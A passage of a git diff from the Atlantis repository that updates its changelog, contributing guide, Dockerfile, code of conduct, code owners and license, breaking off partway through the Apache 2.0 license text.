([#730](https://github.com/runatlantis/atlantis/pull/730)) ## Bugfixes @@ -494,7 +1117,7 @@ Small bugfix release for Bitbucket Cloud users running with "require mergeable". * Include directory in Slack message ([#660](https://github.com/runatlantis/atlantis/issues/660)). ## Bugfixes -* Atlantis would not allow applies for all Bitbucket Cloud pull requests if running with "require mergeable" +* Atlantis would not allow applies for all Bitbucket Cloud pull requests if running with "require mergeable" even if the pull request *was* mergeable due to an API change. (Fixes [#672](https://github.com/runatlantis/atlantis/issues/672)) ## Backwards Incompatibilities / Notes: @@ -665,7 +1288,7 @@ repos can do in their `atlantis.yaml` files. Read [docs](https://www.runatlantis will experience no changes. If you want to upgrade to version `3`, then if you're not using any custom `run` steps in your workflows you can upgrade the version number without additional changes. - + If you are using `run` steps, check our [upgrade guide](https://www.runatlantis.io/docs/upgrading-atlantis-yaml.html#upgrading-from-v2-to-v3) to see if you need to make any changes before upgrading. * Flags `--require-approval`, `--require-mergeable` and `--allow-repo-config` are @@ -676,7 +1299,7 @@ repos can do in their `atlantis.yaml` files. Read [docs](https://www.runatlantis * If you have projects configured with the same directory and workspace (which means you're probably using the `-backend-config` flag) **and** their names contain `/`'s, then you'll have to re-run `atlantis plan` after upgrading if you had any unapplied plans. - + An example of what config would mean you need to re-plan: ```yaml projects: @@ -751,19 +1374,19 @@ None * The Atlantis status checks have been renamed from what they looked like in `v0.5.*`. Previously the names were: `plan/atlantis` and `apply/atlantis`. Now the names are `atlantis/plan` and `atlantis/apply`. - + This change will only affect you if you're requiring those status checks to pass via a setting in your Git host (ex. via GitHub protected branches). If so, you'll need to change your settings to require the new names to pass and un-require the old names. - + > If you were on a version lower than `v0.5.*` then read the backwards compatibility notes for release `0.5.0`. - + **NOTE from the maintainer**: I take backwards compatibility seriously and I apologize that the status checks are changing again so soon after the 0.5 release also changed them. I know that if you have many repos and require the checks to pass that it is a large task to change them all again. - + In this case, I decided that the tradeoff was worth it because the 0.5 release has only been out for a couple of weeks so hopefully not everyone has upgraded to it. The new check names makes them a lot easier to read @@ -910,7 +1533,7 @@ Diff: https://github.com/runatlantis/atlantis/compare/v0.4.15...v0.5.0 previously, if you had already run `atlantis plan` before `master` was updated, a new `atlantis plan` wouldn't pull the latest changes and would just use the cached version. - + This is unlikely to cause any issues because most users already expected Atlantis to use the most up-to-date version of modules/plugins within the set constraints. @@ -1173,7 +1796,7 @@ These are the changes in detail: ``` The `w` group permission was added so that in OpenShift, the random uid can write - their own login entry (https://github.com/runatlantis/atlantis/blob/master/docker-entrypoint.sh#L28) + their own login entry (https://github.com/runatlantis/atlantis/blob/main/docker-entrypoint.sh#L28) which is required because `terraform` expects the running user to have an entry in `/etc/passwd`. @@ -1916,7 +2539,7 @@ None assume role session with the GitHub username of the user running the Atlantis command use the `atlantis_user` terraform variable alongside Terraform's [built-in support](https://www.terraform.io/docs/providers/aws/#assume-role) for assume role -(see https://github.com/runatlantis/atlantis/blob/master/README.md#assume-role-session-names) +(see https://github.com/runatlantis/atlantis/blob/main/README.md#assume-role-session-names) * Atlantis has a docker image now ([#123](https://github.com/hootsuite/atlantis/pull/123)). Here is how you can try it out: ```bash diff --git a/CODEOWNERS b/CODEOWNERS new file mode 100644 index 0000000000..90d0304a5d --- /dev/null +++ b/CODEOWNERS @@ -0,0 +1,3 @@ +# https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners +# These owners will be the default owners for everything in the repo. +* @runatlantis/maintainers @runatlantis/core-contributors app/renovate-approve diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000000..cababaf65f --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,77 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as +contributors and maintainers pledge to making participation in our project and +our community a harassment-free experience for everyone, regardless of age, body +size, disability, ethnicity, sex characteristics, gender identity and expression, +level of experience, education, socio-economic status, nationality, personal +appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment +include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or + advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic + address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable +behavior and are expected to take appropriate and fair corrective action in +response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or +reject comments, commits, code, wiki edits, issues, and other contributions +that are not aligned to this Code of Conduct, or to ban temporarily or +permanently any contributor for other behaviors that they deem inappropriate, +threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces +when an individual is representing the project or its community. Examples of +representing a project or community include using an official project e-mail +address, posting via an official social media account, or acting as an appointed +representative at an online or offline event. Representation of a project may be +further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported by contacting the project team by messaging `@lkysow` on the +[Atlantis Slack community](https://slack.cncf.io/). +All complaints will be reviewed and investigated and will result in a response that +is deemed necessary and appropriate to the circumstances. The project team is +obligated to maintain confidentiality with regard to the reporter of an incident. +Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good +faith may face temporary or permanent repercussions as determined by other +members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, +available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html + +[homepage]: https://www.contributor-covenant.org + +For answers to common questions about this code of conduct, see +https://www.contributor-covenant.org/faq diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index a3921bb0b2..d01d6c4db8 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,9 +1,24 @@ -# Topics -* [Reporting Issues](#reporting-issues) -* [Reporting Security Issues](#reporting-security-issues) -* [Updating The Website](#updating-the-website) -* [Developing](#developing) -* [Releasing](#creating-a-new-release) +# Contributing + +# Table of Contents +- [Reporting Issues](#reporting-issues) +- [Reporting Security Issues](#reporting-security-issues) +- [Updating The Website](#updating-the-website) +- [Developing](#developing) + - [Running Atlantis Locally](#running-atlantis-locally) + - [Running Atlantis With Local Changes](#running-atlantis-with-local-changes) + - [Rebuilding](#rebuilding) + - [Running Tests Locally](#running-tests-locally) + - [Running Tests In Docker](#running-tests-in-docker) + - [Calling Your Local Atlantis From GitHub](#calling-your-local-atlantis-from-github) + - [Code Style](#code-style) + - [Logging](#logging) + - [Errors](#errors) + - [Testing](#testing) + - [Mocks](#mocks) +- [Backporting Fixes](#backporting-fixes) + - [Manual Backporting Fixes](#manual-backporting-fixes) +- [Creating a New Release](#creating-a-new-release) # Reporting Issues * When reporting issues, please include the output of `atlantis version`. @@ -11,52 +26,91 @@ * When sending lengthy log-files, consider posting them as a gist (https://gist.github.com). Don't forget to remove sensitive data from your logfiles before posting (you can replace those parts with "REDACTED"). # Reporting Security Issues -We take security issues seriously. Please email us directly at security [at] runatlantis.io instead of opening an issue. +We take security issues seriously. Please report a security vulnerability to the maintainers using [private vulnerability reporting](https://github.com/runatlantis/atlantis/security/advisories/new). # Updating The Website -* To view the generated website locally, run `yarn website:dev` and then +* To view the generated website locally, run `npm website:dev` and then open your browser to http://localhost:8080. -* The website will be regenerated when your pull request is merged to master. +* The website will be regenerated when your pull request is merged to main. # Developing ## Running Atlantis Locally * Clone the repo from https://github.com/runatlantis/atlantis/ * Compile Atlantis: - ``` + ```sh go install ``` * Run Atlantis: - ``` + ```sh atlantis server --gh-user --gh-token --repo-allowlist --gh-webhook-secret --log-level debug ``` If you get an error like `command not found: atlantis`, ensure that `$GOPATH/bin` is in your `$PATH`. -## Running Tests Locally: +## Running Atlantis With Local Changes +Docker compose is set up to start an atlantis container and ngrok container in the same network in order to expose the atlantis instance to the internet. In order to do this, create a file in the repository called `atlantis.env` and add the required env vars for the atlantis server configuration. + +e.g. + +```sh +NGROK_AUTHTOKEN=1234567890 + +ATLANTIS_GH_APP_ID=123 +ATLANTIS_GH_APP_KEY_FILE="/.ssh/somekey.pem" +ATLANTIS_GH_WEBHOOK_SECRET=12345 +``` + +Note: `~/.ssh` is mounted to allow for referencing any local ssh keys. + +Following this just run: +```sh +make build-service +docker-compose up --detach +docker-compose logs --follow +``` + +### Rebuilding +If the ngrok container is restarted, the url will change which is a hassle. Fortunately, when we make a code change, we can rebuild and restart the atlantis container easily without disrupting ngrok. + +e.g. + +```sh +make build-service +docker-compose up --detach --build +``` + +## Running Tests Locally `make test`. If you want to run the integration tests that actually run real `terraform` commands, run `make test-all`. -## Running Tests In Docker: +## Running Tests In Docker +```sh +docker run --rm -v $(pwd):/go/src/github.com/runatlantis/atlantis -w /go/src/github.com/runatlantis/atlantis ghcr.io/runatlantis/testing-env:latest make test ``` -docker run --rm -v $(pwd):/go/src/github.com/runatlantis/atlantis -w /go/src/github.com/runatlantis/atlantis runatlantis/testing-env make test + +Or to run the integration tests + +```sh +docker run --rm -v $(pwd):/go/src/github.com/runatlantis/atlantis -w /go/src/github.com/runatlantis/atlantis ghcr.io/runatlantis/testing-env:latest make test-all ``` ## Calling Your Local Atlantis From GitHub - Create a test terraform repository in your GitHub. -- Create a personal access token for Atlantis. See [Create a GitHub token](https://github.com/runatlantis/atlantis/tree/master/runatlantis.io/docs/access-credentials.md#generating-an-access-token). +- Create a personal access token for Atlantis. See [Create a GitHub token](https://github.com/runatlantis/atlantis/tree/main/runatlantis.io/docs/access-credentials.md#generating-an-access-token). - Start Atlantis in server mode using that token: -``` +```sh atlantis server --gh-user --gh-token --repo-allowlist --gh-webhook-secret --log-level debug ``` - Download ngrok from https://ngrok.com/download. This will enable you to expose Atlantis running on your laptop to the internet so GitHub can call it. - When you've downloaded and extracted ngrok, run it on port `4141`: -``` +```sh ngrok http 4141 ``` -- Create a Webhook in your repo and use the `https` url that `ngrok` printed out after running `ngrok http 4141`. Be sure to append `/events` so your webhook url looks something like `https://efce3bcd.ngrok.io/events`. See [Add GitHub Webhook](https://github.com/runatlantis/atlantis/blob/master/runatlantis.io/docs/configuring-webhooks.md#configuring-webhooks). +- Create a Webhook in your repo and use the `https` url that `ngrok` printed out after running `ngrok http 4141`. Be sure to append `/events` so your webhook url looks something like `https://efce3bcd.ngrok.io/events`. See [Add GitHub Webhook](https://github.com/runatlantis/atlantis/blob/main/runatlantis.io/docs/configuring-webhooks.md#configuring-webhooks). - Create a pull request and type `atlantis help`. You should see the request in the `ngrok` and Atlantis logs and you should also see Atlantis comment back. ## Code Style + ### Logging - `ctx.Log` should be available in most methods. If not, pass it down. - levels: @@ -95,6 +149,8 @@ We use [pegomock](https://github.com/petergtz/pegomock) for mocking. If you're modifying any interfaces that are mocked, you'll need to regen the mocks for that interface. +Install using `go install github.com/petergtz/pegomock/v4/pegomock@latest` + If you see errors like: ``` # github.com/runatlantis/atlantis/server/events [github.com/runatlantis/atlantis/server/events.test] @@ -106,10 +162,10 @@ Then you've likely modified an interface and now need to update the mocks. Each interface that is mocked has a `go:generate` command above it, e.g. ```go -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_project_command_builder.go ProjectCommandBuilder +//go:generate pegomock generate -m --package mocks -o mocks/mock_project_command_builder.go ProjectCommandBuilder type ProjectCommandBuilder interface { - BuildAutoplanCommands(ctx *CommandContext) ([]models.ProjectCommandContext, error) + BuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error) } ``` @@ -118,22 +174,36 @@ To regen the mock, run `go generate` on that file, e.g. go generate server/events/project_command_builder.go ``` -If you get an error about `pegomock` not being available, install it: +Alternatively, you can run `make go-generate` to execute `go generate` across all packages + + +# Backporting Fixes +Atlantis now uses a [cherry-pick-bot](https://github.com/googleapis/repo-automation-bots/tree/main/packages/cherry-pick-bot) from Google. The bot assists in maintaining changes across releases branches by easily cherry-picking changes via pull requests. + +Maintainers and Core Contributors can add a comment to a pull request: + ```sh -go get github.com/petergtz/pegomock/... +/cherry-pick target-branch-name ``` +target-branch-name is the branch to cherry-pick to. cherry-pick-bot will cherry-pick the merged commit to a new branch (created from the target branch) and open a new pull request to the target branch. + +The bot will immediately try to cherry-pick a merged PR. On unmerged pull request, it will not do anything immediately, but wait until merge. You can comment multiple times on a PR for multiple release branches. + +## Manual Backporting Fixes +The bot will fail to cherry-pick if the feature branches' git history is not linear (merge commits instead of rebase). In that case, you will need to manually cherry-pick the squashed merged commit from main to the release branch + +1. Switch to the release branch intended for the fix. +1. Run `git cherry-pick ` with the commit hash from the main branch. +1. Push the newly cherry-picked commit up to the remote release branch. + # Creating a New Release -1. Update version number in `main.go`. -1. Update image tag version in the [kustomize/bundle.yaml](kustomize/bundle.yaml). -1. Update `CHANGELOG.md` with latest release number and information (this URL might be useful: https://github.com/runatlantis/atlantis/compare/v0.3.5...master) -1. Create a pull request and merge to master -1. Check out master and fetch latest -1. Run `make release` +1. (Major/Minor release only) Create a new release branch `release-x.y` 1. Go to https://github.com/runatlantis/atlantis/releases and click "Draft a new release" - 1. Prefix version with `v` + 1. Prefix version with `v` and increment based on last release. 1. The title of the release is the same as the tag (ex. v0.2.2) - 1. Fill in description by copying from the CHANGELOG just without the Downloads section - 1. Drag in binaries made with `make release` -1. Re-run master branch build to ensure tag gets pushed to Docker hub: https://hub.docker.com/r/runatlantis/atlantis/tags/ -1. Update the default version in `Chart.yaml` in [the official Helm chart](https://github.com/runatlantis/helm-charts/blob/main/charts/atlantis/values.yaml). + 1. Fill in description by clicking on the "Generate Release Notes" button. + 1. You may have to manually move around some commit titles as they are determined by PR labels (see .github/labeler.yml & .github/release.yml) + 1. (Latest Major/Minor branches only) Make sure the release is set as latest + 1. Don't set "latest release" for patches on older release branches. +1. Check and update the default version in `Chart.yaml` in [the official Helm chart](https://github.com/runatlantis/helm-charts/blob/main/charts/atlantis/values.yaml) as needed. diff --git a/Dockerfile b/Dockerfile index 160db14d72..dc9b30901c 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,29 +1,210 @@ -# The runatlantis/atlantis-base is created by docker-base/Dockerfile. -FROM runatlantis/atlantis-base:v3.5 -LABEL authors="Anubhav Mishra, Luke Kysow" +# syntax=docker/dockerfile:1@sha256:9857836c9ee4268391bb5b09f9f157f3c91bb15821bb77969642813b0d00518d +# what distro is the image being built for +ARG ALPINE_TAG=3.21.3@sha256:a8560b36e8b8210634f77d9f7f9efd7ffa463e380b75e2e74aff4511df3ef88c +ARG DEBIAN_TAG=12.10-slim@sha256:4b50eb66f977b4062683ff434ef18ac191da862dbe966961bc11990cf5791a8d +# renovate: datasource=docker depName=golang versioning=docker +ARG GOLANG_TAG=1.24.4-alpine@sha256:68932fa6d4d4059845c8f40ad7e654e626f3ebd3706eef7846f319293ab5cb7a + +# renovate: datasource=github-releases depName=hashicorp/terraform versioning=hashicorp +ARG DEFAULT_TERRAFORM_VERSION=1.11.4 +# renovate: datasource=github-releases depName=opentofu/opentofu versioning=hashicorp +ARG DEFAULT_OPENTOFU_VERSION=1.10.1 +# renovate: datasource=github-releases depName=open-policy-agent/conftest +ARG DEFAULT_CONFTEST_VERSION=0.59.0 + +# Stage 1: build artifact and download deps + +FROM --platform=$BUILDPLATFORM golang:${GOLANG_TAG} AS builder + +# These are automatically populated by Docker +ARG TARGETOS +ARG TARGETARCH + +ARG ATLANTIS_VERSION=dev +ENV ATLANTIS_VERSION=${ATLANTIS_VERSION} +ARG ATLANTIS_COMMIT=none +ENV ATLANTIS_COMMIT=${ATLANTIS_COMMIT} +ARG ATLANTIS_DATE=unknown +ENV ATLANTIS_DATE=${ATLANTIS_DATE} + +ARG DEFAULT_TERRAFORM_VERSION +ENV DEFAULT_TERRAFORM_VERSION=${DEFAULT_TERRAFORM_VERSION} +ARG DEFAULT_CONFTEST_VERSION +ENV DEFAULT_CONFTEST_VERSION=${DEFAULT_CONFTEST_VERSION} + +WORKDIR /app + +# This is needed to download transitive dependencies instead of compiling them +# https://github.com/montanaflynn/golang-docker-cache +# https://github.com/golang/go/issues/27719 +RUN apk add --no-cache \ + bash~=5.2 +COPY go.mod go.sum ./ +SHELL ["/bin/bash", "-o", "pipefail", "-c"] +RUN --mount=type=cache,target=/go/pkg/mod \ + go mod graph | awk '{if ($1 !~ "@") print $2}' | xargs go get + +COPY . /app +RUN --mount=type=cache,target=/go/pkg/mod \ + --mount=type=cache,target=/root/.cache/go-build \ + CGO_ENABLED=0 GOOS=${TARGETOS} GOARCH=${TARGETARCH} go build -trimpath -ldflags "-s -w -X 'main.version=${ATLANTIS_VERSION}' -X 'main.commit=${ATLANTIS_COMMIT}' -X 'main.date=${ATLANTIS_DATE}'" -v -o atlantis . + +FROM debian:${DEBIAN_TAG} AS debian-base + +# Install packages needed to run Atlantis. +# We place this last as it will bust less docker layer caches when packages update +# hadolint ignore explanation +# DL3008 (pin versions using "=") - Ignored to avoid failing the build +# hadolint ignore=DL3008 +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + ca-certificates \ + curl \ + git \ + unzip \ + openssh-server \ + dumb-init \ + gnupg \ + openssl && \ + apt-get clean && \ + rm -rf /var/lib/apt/lists/* + +FROM debian-base AS deps + +# Get the architecture the image is being built for +ARG TARGETPLATFORM +WORKDIR /tmp/build + +# install conftest +ARG DEFAULT_CONFTEST_VERSION +ENV DEFAULT_CONFTEST_VERSION=${DEFAULT_CONFTEST_VERSION} +SHELL ["/bin/bash", "-o", "pipefail", "-c"] +RUN AVAILABLE_CONFTEST_VERSIONS=${DEFAULT_CONFTEST_VERSION} && \ + case ${TARGETPLATFORM} in \ + "linux/amd64") CONFTEST_ARCH=x86_64 ;; \ + "linux/arm64") CONFTEST_ARCH=arm64 ;; \ + # There is currently no compiled version of conftest for armv7 + "linux/arm/v7") CONFTEST_ARCH=x86_64 ;; \ + esac && \ + for VERSION in ${AVAILABLE_CONFTEST_VERSIONS}; do \ + curl -LOs "https://github.com/open-policy-agent/conftest/releases/download/v${VERSION}/conftest_${VERSION}_Linux_${CONFTEST_ARCH}.tar.gz" && \ + curl -LOs "https://github.com/open-policy-agent/conftest/releases/download/v${VERSION}/checksums.txt" && \ + sed -n "/conftest_${VERSION}_Linux_${CONFTEST_ARCH}.tar.gz/p" checksums.txt | sha256sum -c && \ + mkdir -p "/usr/local/bin/cft/versions/${VERSION}" && \ + tar -C "/usr/local/bin/cft/versions/${VERSION}" -xzf "conftest_${VERSION}_Linux_${CONFTEST_ARCH}.tar.gz" && \ + ln -s "/usr/local/bin/cft/versions/${VERSION}/conftest" /usr/local/bin/conftest && \ + rm "conftest_${VERSION}_Linux_${CONFTEST_ARCH}.tar.gz" && \ + rm checksums.txt; \ + done + +# install git-lfs +# renovate: datasource=github-releases depName=git-lfs/git-lfs +ENV GIT_LFS_VERSION=3.6.1 + +RUN case ${TARGETPLATFORM} in \ + "linux/amd64") GIT_LFS_ARCH=amd64 ;; \ + "linux/arm64") GIT_LFS_ARCH=arm64 ;; \ + "linux/arm/v7") GIT_LFS_ARCH=arm ;; \ + esac && \ + curl -L -s --output git-lfs.tar.gz "https://github.com/git-lfs/git-lfs/releases/download/v${GIT_LFS_VERSION}/git-lfs-linux-${GIT_LFS_ARCH}-v${GIT_LFS_VERSION}.tar.gz" && \ + tar --strip-components=1 -xf git-lfs.tar.gz && \ + chmod +x git-lfs && \ + mv git-lfs /usr/bin/git-lfs && \ + git-lfs --version # install terraform binaries -ENV DEFAULT_TERRAFORM_VERSION=0.13.5 - -# In the official Atlantis image we only have the latest of each Terraform version. -RUN AVAILABLE_TERRAFORM_VERSIONS="0.8.8 0.9.11 0.10.8 0.11.14 0.12.29 ${DEFAULT_TERRAFORM_VERSION}" && \ - for VERSION in ${AVAILABLE_TERRAFORM_VERSIONS}; do \ - curl -LOs https://releases.hashicorp.com/terraform/${VERSION}/terraform_${VERSION}_linux_amd64.zip && \ - curl -LOs https://releases.hashicorp.com/terraform/${VERSION}/terraform_${VERSION}_SHA256SUMS && \ - sed -n "/terraform_${VERSION}_linux_amd64.zip/p" terraform_${VERSION}_SHA256SUMS | sha256sum -c && \ - mkdir -p /usr/local/bin/tf/versions/${VERSION} && \ - unzip terraform_${VERSION}_linux_amd64.zip -d /usr/local/bin/tf/versions/${VERSION} && \ - ln -s /usr/local/bin/tf/versions/${VERSION}/terraform /usr/local/bin/terraform${VERSION} && \ - rm terraform_${VERSION}_linux_amd64.zip && \ - rm terraform_${VERSION}_SHA256SUMS; \ - done && \ - ln -s /usr/local/bin/tf/versions/${DEFAULT_TERRAFORM_VERSION}/terraform /usr/local/bin/terraform - -# copy binary -COPY atlantis /usr/local/bin/atlantis - -# copy docker entrypoint +ARG DEFAULT_TERRAFORM_VERSION +ENV DEFAULT_TERRAFORM_VERSION=${DEFAULT_TERRAFORM_VERSION} +ARG DEFAULT_OPENTOFU_VERSION +ENV DEFAULT_OPENTOFU_VERSION=${DEFAULT_OPENTOFU_VERSION} + +# COPY scripts/download-release.sh . +COPY --from=builder /app/scripts/download-release.sh download-release.sh + +# In the official Atlantis image, we only have the latest of each Terraform version. +# Each binary is about 80 MB so we limit it to the 4 latest minor releases or fewer +RUN ./download-release.sh \ + "terraform" \ + "${TARGETPLATFORM}" \ + "${DEFAULT_TERRAFORM_VERSION}" \ + "1.8.5 1.9.8 1.10.5 ${DEFAULT_TERRAFORM_VERSION}" \ + && ./download-release.sh \ + "tofu" \ + "${TARGETPLATFORM}" \ + "${DEFAULT_OPENTOFU_VERSION}" \ + "${DEFAULT_OPENTOFU_VERSION}" + +# Stage 2 - Alpine +# Creating the individual distro builds using targets +FROM alpine:${ALPINE_TAG} AS alpine + +EXPOSE ${ATLANTIS_PORT:-4141} + +HEALTHCHECK --interval=5m --timeout=3s \ + CMD curl -f http://localhost:${ATLANTIS_PORT:-4141}/healthz || exit 1 + +# Set up the 'atlantis' user and adjust permissions +RUN addgroup atlantis && \ + adduser -S -G atlantis atlantis && \ + chown atlantis:root /home/atlantis/ && \ + chmod u+rwx /home/atlantis/ + +# copy atlantis binary +COPY --from=builder /app/atlantis /usr/local/bin/atlantis +# copy terraform binaries +COPY --from=deps /usr/local/bin/terraform/terraform* /usr/local/bin/ +COPY --from=deps /usr/local/bin/tofu/tofu* /usr/local/bin/ +# copy dependencies +COPY --from=deps /usr/local/bin/conftest /usr/local/bin/conftest +COPY --from=deps /usr/bin/git-lfs /usr/bin/git-lfs +COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh + +# renovate: datasource=repology depName=alpine_3_21/ca-certificates versioning=loose +ENV CA_CERTIFICATES_VERSION="20250619-r0" + +# Install packages needed to run Atlantis. +# We place this last as it will bust less docker layer caches when packages update +RUN apk add --no-cache \ + ca-certificates~=${CA_CERTIFICATES_VERSION} \ + curl~=8 \ + git~=2 \ + unzip~=6 \ + bash~=5 \ + openssh~=9 \ + dumb-init~=1 \ + gcompat~=1 \ + coreutils-env~=9 + +# Set the entry point to the atlantis user and run the atlantis command +USER atlantis +ENTRYPOINT ["docker-entrypoint.sh"] +CMD ["server"] + +# Stage 2 - Debian +FROM debian-base AS debian + +EXPOSE ${ATLANTIS_PORT:-4141} + +HEALTHCHECK --interval=5m --timeout=3s \ + CMD curl -f http://localhost:${ATLANTIS_PORT:-4141}/healthz || exit 1 + +# Set up the 'atlantis' user and adjust permissions +RUN useradd --create-home --user-group --shell /bin/bash atlantis && \ + chown atlantis:root /home/atlantis/ && \ + chmod u+rwx /home/atlantis/ + +# copy atlantis binary +COPY --from=builder /app/atlantis /usr/local/bin/atlantis +# copy terraform binaries +COPY --from=deps /usr/local/bin/terraform/terraform* /usr/local/bin/ +COPY --from=deps /usr/local/bin/tofu/tofu* /usr/local/bin/ +# copy dependencies +COPY --from=deps /usr/local/bin/conftest /usr/local/bin/conftest +COPY --from=deps /usr/bin/git-lfs /usr/bin/git-lfs +# copy docker-entrypoint.sh COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh +# Set the entry point to the atlantis user and run the atlantis command +USER atlantis ENTRYPOINT ["docker-entrypoint.sh"] CMD ["server"] diff --git a/Dockerfile.dev b/Dockerfile.dev new file mode 100644 index 0000000000..5cd2fda584 --- /dev/null +++ b/Dockerfile.dev @@ -0,0 +1,3 @@ +FROM ghcr.io/runatlantis/atlantis:latest@sha256:577735a7a25d0681eeb2740b97accbbccc70aaa1baf112d682aed2e1e57d6a8d +COPY atlantis /usr/local/bin/atlantis +WORKDIR /atlantis/src diff --git a/LICENSE b/LICENSE index cbd6f4d3a8..261eeb9e9f 100644 --- a/LICENSE +++ b/LICENSE @@ -1,23 +1,201 @@ -Atlantis was originally copyrighted and licensed under: + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ - Copyright 2017 HootSuite Media Inc. + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its 